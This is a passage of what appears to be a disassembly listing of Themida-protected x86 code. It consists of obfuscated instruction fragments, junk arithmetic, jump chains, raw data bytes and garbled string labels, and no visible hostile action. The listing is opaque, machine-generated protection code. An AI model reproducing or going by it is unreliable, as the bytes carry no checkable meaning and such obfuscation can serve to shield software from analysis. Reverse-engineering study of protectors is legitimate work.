		dd 8A7DE95Ah, 0FF560000h, 5E042474h, 737EE9h, 10F18100h
		dd 0E9383D59h, 0FFFFC110h, 3EB85053h, 0C1087177h, 853505E0h
		dd 0BB229290h, 7437B12Dh, 1FABC381h, 52E93136h
		db 3Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A2F3:				; CODE XREF: Themida_:00550400j
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_563A4A
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24348904h, 0B36684BEh, 5EF73173h, 90E95247h,	8BFFFFD4h
		dd 58682424h, 89000031h, 8B542404h, 0C4832404h,	40504h
		dd 0C0830000h, 7845E904h, 815A0000h, 5C042444h,	291B094Bh
		dd 0E904247Ch, 0FFFFDA51h
; ---------------------------------------------------------------------------


loc_55A350:				; CODE XREF: Themida_:00563DC2j
		pop	eax
		jmp	loc_553337
; ---------------------------------------------------------------------------


loc_55A356:				; CODE XREF: Themida_:00554A0Dj
		or	dx, 0FCDh
		sub	dx, 0F15Dh
		mov	si, dx
		jmp	loc_55D3CC
; ---------------------------------------------------------------------------


loc_55A368:				; CODE XREF: Themida_:00551DDCj
		mov	ebx, 4
		add	ebp, 7C5E6050h
		add	ebp, ebx
		sub	ebp, 7C5E6050h
		mov	ebx, [esp]
		jmp	loc_5566AA
; ---------------------------------------------------------------------------
		db 0B1h
		dd 0C16E92Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A38A:				; CODE XREF: Themida_:005503ABj
		xor	ebx, 0B295CC0h
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		jmp	loc_56409A
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 0C4815A24h, 4, 81E28952h,	4C2h, 80A9E900h
		dd 0E389FFFFh, 4C381h, 89530000h, 4C381E3h, 81000000h
		dd 4EBh, 0EB93E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A3D2:				; CODE XREF: Themida_:00556CD0j
		shl	eax, 5
		sub	eax, 0FFFFFFFFh
		dec	eax
		push	ebp
		mov	ebp, 875B3C7Dh
		xor	eax, ebp
		pop	ebp
		sub	edx, eax
		pop	eax
		add	ecx, edx
		jmp	loc_556EEC
; ---------------------------------------------------------------------------


loc_55A3EE:				; CODE XREF: Themida_:00559C7Bj
		pop	esp
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_554DE2
; ---------------------------------------------------------------------------


loc_55A3FB:				; CODE XREF: Themida_:0055A514j
		pop	dword ptr [esp]
		jmp	loc_560C6B
; ---------------------------------------------------------------------------
		db 81h
		dd 0B732A0EBh, 0B9515E73h, 77F02C2h, 18B2BA52h,	0B0E94E94h
		dd 5500007Ah, 42474FFh,	83242C8Bh, 0BAE904C4h, 81FFFFAAh
		dd 541D3CEEh, 5EF70199h, 4C781h, 0FF570000h, 5F042474h
		dd 8B24048Fh, 0FCE92424h, 0B8FFFF9Eh, 11675540h, 0AA4283B9h
		dd 0E9C1315Ch, 1354h, 0CBEEA81h, 8152D7A0h, 537D2404h
		dd 2BE945BAh, 81000001h, 61643ACEh, 13CE813Dh, 0E97E670Dh
		dd 0FFFFBCDDh
; ---------------------------------------------------------------------------


loc_55A480:				; CODE XREF: Themida_:005545D0j
		push	3DEEh
		mov	[esp], ecx
		push	75BA4777h
		pop	ecx
		mov	esi, 75BA4773h
		xor	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	ebx, esi
		pop	esi
		push	ebx
		pop	eax
		mov	ebx, [esp]
		jmp	loc_5541BF
; ---------------------------------------------------------------------------
		db 3
		dd 241C8B03h, 4C481h, 0C8B0000h, 91D4E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A4BE:				; CODE XREF: Themida_:00558C63j
		xor	esi, [esp]
		pop	esp
		jmp	loc_559435
; ---------------------------------------------------------------------------
		db 0BAh
		dd 4EC7506Eh, 8142D2F7h, 46A81BEAh, 5AD5298Ah, 5DE95645h
		dd 1FFFFE5h, 32C681FEh,	0FF180E44h, 575F2434h, 6E9E789h
		dd 5000001Fh, 4304EEB8h, 0D0E7E92Dh, 0BD55FFFFh, 56870DE3h
		dd 67E8E981h, 86E950D5h
		db 75h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A50F:				; CODE XREF: Themida_:00555EE2j
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_55A3FB
; ---------------------------------------------------------------------------
		db 1, 0EFh, 81h
		dd 0A44775EFh, 0C7815D0Eh, 284C2BAFh, 0ADE9F901h, 50FFFF8Dh
		dd 7BD3C3B8h, 2128E9A4h, 8A350000h, 0F7344F56h,	70A40DD8h
		dd 362D3BD8h, 89CF4177h, 1237E9C5h, 0E7C10000h,	97C78106h
		dd 5064101Eh, 8E2BE56h,	0C9B85D54h, 29644C5Dh, 18E95EF0h
		dd 81000000h, 361DCAEEh, 47C68175h, 0FF52635Eh,	575D2434h
		dd 8BE95F54h, 35FFFF77h, 1C0E3A6Bh, 0E958C731h,	819Fh
		dd 0AB33E95Bh, 2C8BFFFFh, 86B8E924h, 0E828FFFFh, 5966CC2Ch
		dd 6BE0E9h, 28536800h, 0AFE90000h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A5B7:				; CODE XREF: Themida_:0056140Ej
		push	edx
		mov	dh, 6Ah
		jmp	loc_550F2D
; ---------------------------------------------------------------------------
		db 29h
		dd 50E105C8h, 0E9591941h, 0AF3Ah, 77C2805Bh, 0DB2C262Ch
		dd 0D000202Ch, 0DB042004h, 7BE92604h
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A5E3:				; CODE XREF: Themida_:00563E4Fj
		mov	edx, ebx
		pop	ebx
		xor	edx, esi
		pop	esi
		jmp	loc_55DEAD
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 4C681h, 0E9550000h, 0FFFFF925h, 0BD55E689h, 4E527928h
		dd 0BFDED81h, 0D5F734FAh, 92D0F581h, 0EE01E6A7h, 3D08E95Dh
		dd 0C890000h, 4B924h, 0C8290000h, 24048759h, 0FF8345E9h
		dd 0BF5755FFh, 0A9840B0h, 14F7574Fh, 0C7815F24h, 2BBC817Dh
		dd 0DA6EE956h, 0BE56FFFFh, 60B3395Eh, 3B9FB951h, 0E1C12D91h
		dd 6E9C104h, 6E3EF181h,	0E9813805h, 0C9A2280h, 0A5BF5749h
		dd 8179B669h, 74AF5EF7h, 5FF93166h, 0E959CE31h,	0FFFFA563h
		dd 0FF243C89h, 8B042474h, 0C481243Ch, 4, 0FF64C5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A695:				; CODE XREF: Themida_:0055A20Bj
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ecx
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		push	eax
		jmp	loc_557674
; ---------------------------------------------------------------------------


loc_55A6AC:				; CODE XREF: Themida_:0055CD5Ej
		push	ebp
		mov	ebp, 4
		sub	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		jmp	loc_5546E8
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 0F1h
		dd 0FF000054h, 48B2434h, 4C48124h, 83000000h, 14E904C4h
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A6D7:				; CODE XREF: Themida_:005573A1j
		push	esp
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 531803FAh
		and	esi, 4087C99h
		shl	esi, 6
		xor	esi, 2002604h
		jmp	loc_56475F
; ---------------------------------------------------------------------------
		dd 4C481h, 64E90000h, 8900003Dh, 2434FFF0h, 4C4835Eh, 2085E9h
		db 0
; ---------------------------------------------------------------------------


loc_55A711:				; CODE XREF: Themida_:00563D34j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_563D59
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48324h, 0BA52D5F7h, 189D7E8Fh, 7658B951h, 0E98138AAh
		dd 0E501FD34h, 5759CA31h, 0FFFFFFBFh, 0E9FA01FFh, 36ECh
; ---------------------------------------------------------------------------


loc_55A744:				; CODE XREF: Themida_:0055E725j
		mov	esi, 4
		sub	ebx, 14E2775h
		jmp	loc_5614C0
; ---------------------------------------------------------------------------
		dd 2BAh, 0D5C18100h, 160076Ch, 941FE9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A766:				; CODE XREF: Themida_:00555092j
		add	edi, edx
		pop	edx
		sub	edi, esi
		push	eax
		push	ebx
		mov	ebx, 0FF7254Bh
		jmp	loc_55CAE2
; ---------------------------------------------------------------------------
		db 1
aIs		db 'ëéÏ}',0
		align 2
		dw 0C483h
		dd 55C38004h, 96DEE9h
		db 0
; ---------------------------------------------------------------------------


loc_55A789:				; CODE XREF: Themida_:00552119j
		xchg	ebx, [esp]
		not	ebx
		xchg	ebx, [esp]
		mov	edx, [esp]
		jmp	loc_561DDD
; ---------------------------------------------------------------------------
		db 57h,	89h, 0E7h
		dd 4C781h, 0C7830000h, 243C8704h, 4C4815Ch, 1000000h, 4CC181F1h
		dd 5E006233h, 8B240C87h, 0F8E92424h, 0BE00001Dh, 6FB1A61h
		dd 5D5EF001h, 67E9D801h
		db 8Dh,	2 dup(0)
byte_55A7D3	db 66h			; DATA XREF: Themida_:0054FE0Co
		dd 8124048Bh, 4ECh, 24348900h, 24348B54h, 5E08950h, 4
		dd 4DD4E9h, 2434FF00h, 4C4835Ah, 6203A5F3h, 24E95338h
		db 9Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A803:				; CODE XREF: Themida_:00562D16j
		xor	edi, eax
		jmp	loc_560EF9
; ---------------------------------------------------------------------------


loc_55A80A:				; CODE XREF: Themida_:0055CAE7j
		inc	ebx
		xor	ebx, 9CB80A84h
		push	ebx
		add	dword ptr [esp], 5FCB68FAh
		pop	eax
		sub	eax, 5FCB68FAh
		pop	ebx
		sub	edi, eax
		pop	eax
		pop	esi
		add	edi, ebp
		add	edi, 33C244A9h
		sub	edi, 502B4452h
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55E390
; ---------------------------------------------------------------------------
		db 81h
		dd 0A335F0EEh, 8BF3897Bh, 0C4832434h, 8BDE0104h, 0C481241Ch
		dd 4, 0E9243433h, 0FFFFEF71h
; ---------------------------------------------------------------------------


loc_55A880:				; CODE XREF: Themida_:00553812j
		pop	edx
		add	ch, 0E4h
		push	dx
		mov	dh, 89h
		xor	ch, dh
		pop	dx
		shr	ch, 5
		push	edx
		mov	dl, 84h
		and	dl, 51h
		and	dl, 15h
		shr	dl, 4
		shr	dl, 5
		jmp	loc_556C85
; ---------------------------------------------------------------------------
		db 81h
		dd 0C764C4E1h, 10F18160h, 8167F564h, 0B0F89AC1h, 5BC581E0h
		dd 0E9003048h, 26F0h, 2DC8295Ah, 0E5C4119h, 59FEE9h, 240C3300h
		dd 5024248Bh, 8904EC83h, 68E9242Ch, 5DFFFFEFh, 8704E883h
		dd 895C2404h, 0B9512424h, 4, 1802E9h
		db 0
; ---------------------------------------------------------------------------


loc_55A8F5:				; CODE XREF: Themida_:00561E9Bj
		mov	esi, [esp]
		add	esp, 4
		shr	eax, 0Ah
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		xchg	eax, [esp]
		not	eax
		jmp	loc_5586E3
; ---------------------------------------------------------------------------


loc_55A913:				; CODE XREF: Themida_:00552FA6j
		add	eax, 32323D5Ch
		add	eax, edx
		push	ebx
		jmp	loc_5604D0
; ---------------------------------------------------------------------------
aSB		db '[éÜ',0
		align 2
word_55A926	dw 83ADh		; DATA XREF: Themida_:0054FCDCo
		dd 0C8904ECh, 6199E924h
		db 2 dup(0)
word_55A932	dw 8B66h		; DATA XREF: Themida_:0054FDB8o
		dd 0C6E92404h
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A93B:				; CODE XREF: Themida_:00557A25j
		dec	ecx
		shl	ecx, 5
		dec	ecx
		add	ecx, 45EA906Ah
		jmp	loc_55F019
; ---------------------------------------------------------------------------


loc_55A94B:				; CODE XREF: Themida_:0055FF50j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	[edi+24h], ecx
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	4F35h
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_5503A5
; ---------------------------------------------------------------------------


loc_55A973:				; CODE XREF: Themida_:005556A1j
		pop	esp
		jmp	loc_5639FC
; ---------------------------------------------------------------------------
		db 0C1h, 0E3h, 5
		dd 5568DBF7h, 0E9000017h, 0FFFF627Eh, 4C4835Eh,	822BE9h
		dd 243C8700h, 4C1815Ch,	50000000h, 243AA4B8h, 2E8C110h
		dd 4FE82540h, 0D0F73BB2h, 6807E8C1h, 6429h, 0BB241C89h
		dd 4FC09FCh, 221DE9h, 57555200h, 0FF7654E9h, 312CBAFFh
		dd 0E9510715h, 0FFFFEA22h
; ---------------------------------------------------------------------------


loc_55A9D4:				; CODE XREF: Themida_:00562ED9j
		add	edi, 4
		push	esi
		push	4
		pop	esi
		jmp	loc_5555D1
; ---------------------------------------------------------------------------


loc_55A9E6:				; CODE XREF: Themida_:005517E6j
		sub	eax, edi
		jmp	loc_5574A6
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 2
		dd 33000000h, 57E92414h, 0F7000074h, 557AE9DFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55AA02:				; CODE XREF: Themida_:00553B01j
		push	ebx
		push	32B11559h
		mov	ebx, [esp]
		sub	esp, 4
		jmp	loc_55FCE8
; ---------------------------------------------------------------------------
		db 81h
		dd 0B63700E3h, 0C4EB8119h, 9E284F7h, 0E6815BDEh, 2CDF2CFEh
		dd 4A13E681h, 0EEC14EE7h, 0D9C68106h, 0E9645F50h, 0FFFF62B4h
; ---------------------------------------------------------------------------


loc_55AA3C:				; CODE XREF: Themida_:00560DF9j
		pop	ebx
		add	esp, 4
		jmp	loc_557A2A
; ---------------------------------------------------------------------------


loc_55AA45:				; CODE XREF: Themida_:0055B1DEj
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_556F09
; ---------------------------------------------------------------------------
		db 0BDh
		dd 20F341C5h, 18E9E929h
		db 97h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AA77:				; CODE XREF: Themida_:00552E26j
		xor	edx, 1743595h
		add	edx, 0DB38D355h
		add	edi, edx
		pop	edx
		sub	edi, ecx
		jmp	loc_560561
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 59h
		dd 83FFFFE1h, 0F6604C4h, 0F96800B6h, 89000051h,	1B68243Ch
		dd 0E900006Eh, 1F2h, 542CEA81h,	15F6A5Fh, 70B951DAh, 81715B6Fh
		dd 0F2467E1h, 14F7511Dh, 87E95924h
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55AACB:				; CODE XREF: Themida_:00559E4Dj
		xor	[esp+4], edx
		pop	edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		pop	esp
		push	12F4h
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		xor	eax, 1ABB36F4h
		push	edx
		push	24236A3Dh
		pop	edx
		add	edx, 0FFFFFFFFh
		jmp	loc_560636
; ---------------------------------------------------------------------------


loc_55AB2B:				; CODE XREF: Themida_:00558669j
		xor	[esp+4], ebp
		jmp	loc_550071
; ---------------------------------------------------------------------------
		dd 0C68837B0h, 4EC8358h, 88240489h, 0C38853F0h,	0FFCBF9E9h
		dd 0F6C9FEFFh, 84C980D9h, 0E941F180h, 81D3h, 4EC8350h
		dd 0E9242C89h, 5179h, 0BE243489h, 31B5DF0h, 0FFD450E9h
		dd 2E5C1FFh, 0C581DDF7h, 272518E5h, 5106E5C1h, 1E06A9B9h
		dd 59CD3137h, 0A1EAC581h, 0EF29BA69h, 81EF015Dh, 3C7DD3C7h
		dd 0C7815D7Eh, 4, 8B243C87h, 36E92424h,	0B8000004h, 2
		dd 8758C201h, 0D35C2414h, 0E99C240Ch, 0FFFF5357h
; ---------------------------------------------------------------------------


loc_55ABC0:				; CODE XREF: Themida_:00564600j
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		sub	dword ptr [esp], 36F91078h
		pop	ebx
		jmp	loc_55BE61
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 0AFh
		dd 8158D136h, 0F2DEFCBh, 0A9B8E93Ch, 8B660000h,	0CCE9242Ch
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55ABF3:				; CODE XREF: Themida_:00560829j
		shr	ebx, 7
		not	ebx
		add	ebx, 280295h
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		push	ebp
		push	13D0h
		mov	[esp], edi
		mov	edi, 6F682003h
		mov	ebp, 7F0D47E1h
		sub	ebp, edi
		pop	edi
		jmp	loc_5565D2
; ---------------------------------------------------------------------------
		db 59h
		dd 429E9h, 0A7E95100h
		db 82h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55AC37:				; CODE XREF: Themida_:00554BDEj
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp], ecx
		push	esi
		push	ebx
		push	792D2042h
		jmp	loc_555CF5
; ---------------------------------------------------------------------------


loc_55AC56:				; CODE XREF: Themida_:0055B489j
		add	eax, esi
		push	0F64h
		jmp	loc_561063
; ---------------------------------------------------------------------------
aFtSkx		db '¹;ft%éKX',0
		align 4


loc_55AC6C:				; CODE XREF: Themida_:0055F0A6j
		xor	esi, 0C378A222h
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esi
		mov	edx, ebx
		pop	ebx
		pop	esi
		mov	edi, edx
		pop	edx
		shr	edi, 3
		push	esi
		mov	esi, 21453278h
		sub	esi, 0E8C70E8Ah
		jmp	loc_554AF3
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0AD1BE958h, 2489FFFFh, 50E95624h, 56000068h,	0CF3AB2BEh
		dd 0E9DE8732h, 8B0Ah, 0DF78F581h, 0EB81AA92h, 5C7107A6h
		dd 0E23EB81h, 0EB0131DBh, 0E23C381h, 0C38131DBh, 5C7107A6h
		dd 0EBEE9h, 0F3874600h,	0A2A5F381h, 0DD01A947h,	0BEFEE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55ACEA:				; CODE XREF: Themida_:0056324Dj
		add	esi, 2
		xchg	esi, [esp]
		jmp	loc_5526FE
; ---------------------------------------------------------------------------
		dd 0E9240487h, 8AAFh, 51241489h, 0CDFE79B5h, 0ED80D5F6h
		dd 59EA88E4h, 2DD76866h, 241C8966h, 0FFBE8AE9h,	24348BFFh
		dd 8304C483h, 1C8704EBh, 24248B24h, 24048F54h, 4BA52h
		dd 54010000h, 148B0424h, 134E924h, 680000h, 29000000h
		dd 505B241Ch, 7F7E953h,	0C4830000h, 83C33104h, 37E904ECh
		dd 80FFFFBDh, 6EE9D1EFh
		db 64h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55AD67:				; CODE XREF: Themida_:005620BEj
		sub	ecx, edx
		jmp	loc_55F3B9
; ---------------------------------------------------------------------------
		dw 0CE80h
		dd 2E6C042h, 2854F680h,	89515AF0h, 0BB5356E1h, 0DD75253h
		dd 4BBDEB81h, 0F3816661h, 4E797AF8h, 5221E9h, 242C8900h
		dd 4EC81h, 0CE90000h, 81000091h, 6C1FD3C3h, 82B9E903h
		db 2 dup(0FFh)
word_55ADAE	dw 8B66h		; DATA XREF: Themida_:0054FD60o
		dd 0EC832404h, 24348904h, 24348B54h, 4C481h, 59E90000h
		dd 35FFFFD6h, 0A7366AEh, 89B7E9h
		db 0
; ---------------------------------------------------------------------------


loc_55ADD1:				; CODE XREF: Themida_:0055D239j
		mov	[esp], ebx
		mov	ebx, 5CE2232Ch
		add	edx, ebx
		pop	ebx
		add	edx, ebx
		jmp	loc_55FDD6
; ---------------------------------------------------------------------------


loc_55ADE3:				; CODE XREF: Themida_:005642BCj
		push	esp
		mov	ebp, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_5501F1
; ---------------------------------------------------------------------------


loc_55ADF5:				; CODE XREF: Themida_:00553355j
		mov	ecx, 7E7A221Ah
		jmp	loc_551837
; ---------------------------------------------------------------------------
		db 81h
		dd 6751A2E3h, 0FFC3812Eh, 81FFFFFFh, 1F5F35F3h,	0FFDD310Ch
		dd 0D2E92434h
		db 31h,	2 dup(0)
byte_55AE1B	db 66h			; DATA XREF: Themida_:0054FE8Co
		dd 9C241CF7h, 0FF50F2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AE25:				; CODE XREF: Themida_:00551099j
		pop	ecx
		add	esp, 4
		add	edx, 1
		jmp	loc_565107
; ---------------------------------------------------------------------------


loc_55AE34:				; CODE XREF: Themida_:00556D8Bj
		mov	[esp], edx
		push	edi
		push	3B0A6E1Dh
		jmp	loc_5563D1
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 0B5091DC5h, 5997E957h, 0FCB9FFFFh, 17C5271h,	5904244Ch
		dd 8904EC83h, 0BD552434h, 0B465B3Bh, 0EB6DC6BEh, 5DEE314Ch
		dd 4247401h, 50A1E95Eh,	0C483FFFFh, 0C3815B04h,	4, 0E9E08950h
		dd 82D2h, 2B951h, 0EB810000h, 79A255ECh, 0C381CB01h, 79A255ECh
		dd 0E92434FFh, 48C5h
; ---------------------------------------------------------------------------


loc_55AEA4:				; CODE XREF: Themida_:00560F06j
		push	edi
		push	4D80h
		mov	[esp], eax
		pop	edi
		mov	eax, [esp]
		jmp	loc_55D6CE
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24048B24h, 56585450h, 4BEh, 5EF00100h, 8904EC83h, 68502434h
		dd 17771D18h, 0FFB72BE9h, 0CEB81FFh, 9A542E5h, 0F6AEE9DFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AEE6:				; CODE XREF: Themida_:005526CEj
		mov	[esp], ebx
		jmp	loc_555733
; ---------------------------------------------------------------------------


loc_55AEEE:				; CODE XREF: Themida_:00556591j
		pop	eax
		push	edx
		mov	edx, 4
		jmp	loc_560390
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 233EB52Bh, 0E95EF089h, 0FFFF5D57h, 38576851h, 24890000h
		dd 24048324h, 0C1815904h, 4, 3304C183h,	0C31240Ch, 240C3324h
		dd 3324248Bh, 14312414h, 24143324h, 8124248Bh, 4ECh, 240C8900h
		dd 8620E950h, 2C8BFFFFh, 4C48124h, 81000000h, 4C5h, 998FE900h
		dd 34BAFFFFh, 4A43E23Bh, 8106E2C1h, 0CC1C9DF2h,	76F28179h
		dd 29ED0AF7h, 3287E9D6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55AF76:				; CODE XREF: Themida_:005501F7j
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, 41493687h
		jmp	loc_552706
; ---------------------------------------------------------------------------


loc_55AF8A:				; CODE XREF: Themida_:00562C79j
		pop	ecx
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		push	ebp
		jmp	loc_5565D8
; ---------------------------------------------------------------------------
		dd 0E8E9C1FEh
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AFA7:				; CODE XREF: Themida_:0055CAF6j
		mov	[esp], eax
		mov	eax, 1A065B1Ah
		sub	edx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xor	edx, 0F5F9D4F6h
		add	edi, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_5557DB
; ---------------------------------------------------------------------------
		db 0E9h, 31h, 4Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AFE6:				; CODE XREF: Themida_:00555D65j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp


loc_55AFF8:				; CODE XREF: Themida_:0055CD4Aj
		push	ebx
		push	ebp
		jmp	loc_55B1C5
; ---------------------------------------------------------------------------
		db 31h
		dd 0C33240Ch, 0F6E95C24h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B00B:				; CODE XREF: Themida_:005561F6j
		mov	ebp, 273C6F59h
		jmp	loc_550DE0
; ---------------------------------------------------------------------------
		db 81h,	0CBh, 0E0h
		dd 0E9661F22h, 0FFFFDF20h, 5C243C87h, 0E9240489h, 287Bh
; ---------------------------------------------------------------------------


loc_55B02C:				; CODE XREF: Themida_:005590CAj
		shl	ecx, 5
		jmp	loc_55C343
; ---------------------------------------------------------------------------
		dd 8904EC83h, 1DE9243Ch
		db 49h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B03F:				; CODE XREF: Themida_:00563305j
		push	esp
		jmp	loc_555869
; ---------------------------------------------------------------------------


loc_55B045:				; CODE XREF: Themida_:0055EF7Ej
		push	edx
		push	ecx
		mov	ecx, 755C4089h
		add	ecx, 8AA3BF9Fh
		mov	edx, ecx
		pop	ecx
		jmp	loc_554E3C
; ---------------------------------------------------------------------------
		dw 8951h
		dd 0DCBB53E1h, 0C135CD43h, 0CB8103EBh, 1B6F2D97h, 0CEEB814Bh
		dd 815D0E7Fh, 0D77539F3h, 46C38110h, 0E93469DCh, 0FFFF877Fh
		dd 0E9243487h, 32A7h, 58C22958h, 5AE4C681h, 0B850135Dh
		dd 5C677BFBh, 158C601h,	0FBEE81D6h, 815C677Bh, 5D5AE4EEh
		dd 24148B13h, 0E904C483h, 8A6Ch, 2D5DE829h, 5A2F2158h
		dd 5805F801h, 55A2F21h,	3F692E91h, 5DA6BF57h, 0F781226Ch
		dd 1D530F61h, 0FF5FF801h, 3C8B2434h, 4C48324h, 0E904C483h
		dd 53C5h, 1B32E94Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B0F2:				; CODE XREF: Themida_:0055E82Fj
		push	696Ch
		mov	[esp], edi
		push	100Ch
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_562D65
; ---------------------------------------------------------------------------
aBVnusX		db 'êÂvué/x',0
		align 10h
		dd 0F8E9D300h
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B127:				; CODE XREF: Themida_:0055EF5Ej
		sub	ebp, ebx
		pop	ebx
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		push	eax
		push	esp
		pop	eax
		push	ecx
		mov	ecx, 33B57C96h
		dec	ecx
		not	ecx
		dec	ecx
		jmp	loc_55D380
; ---------------------------------------------------------------------------


loc_55B153:				; CODE XREF: Themida_:005598A1j
		push	2C475A05h
		mov	eax, [esp]
		jmp	loc_558E7E
; ---------------------------------------------------------------------------
dword_55B160	dd 240C8B66h, 575B5453h, 46A45BFh, 0FFBB5347h, 0E9FFFFFFh
					; DATA XREF: Themida_:0054FC94o
		dd 11D5h, 30E9525Dh
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B17F:				; CODE XREF: Themida_:0055444Bj
		mov	eax, edx
		pop	edx
		add	eax, edi
		jmp	loc_55F3DC
; ---------------------------------------------------------------------------


loc_55B189:				; CODE XREF: Themida_:005653F8j
		mov	edi, 630F7C67h
		and	edi, 752F49DCh
		jmp	loc_5590E2
; ---------------------------------------------------------------------------
aRsT		db 'Ré ’',0
		dw 5200h
		dd 463F34BAh, 0EEF28147h, 81584543h, 855436E2h,	17F28125h
		dd 3165F24Bh, 0DDE95AD0h, 56FFFF8Dh, 0FF51D5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B1C5:				; CODE XREF: Themida_:0055AFFAj
		mov	ebp, 62951FCCh
		sub	[esp+4], ebp
		pop	ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55AA45
; ---------------------------------------------------------------------------
		db 0BAh
		dd 4, 3872DD05h, 2DD00173h, 733872DDh, 5A2434FFh, 4C481h
		dd 4870000h, 115EE924h,	0E0C10000h, 27BD5503h, 0E969CB75h
		dd 6104h, 4BAh,	81DEE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B21E:				; CODE XREF: Themida_:0055D343j
		push	ebx
		mov	ebx, 305907B3h
		push	ecx
		mov	ecx, 7452252Dh
		jmp	loc_551B43
; ---------------------------------------------------------------------------
		db 0B9h
		dd 19D61699h, 8108E9C1h, 0D55EA0C9h, 0F3E98144h, 0F73EB9B5h
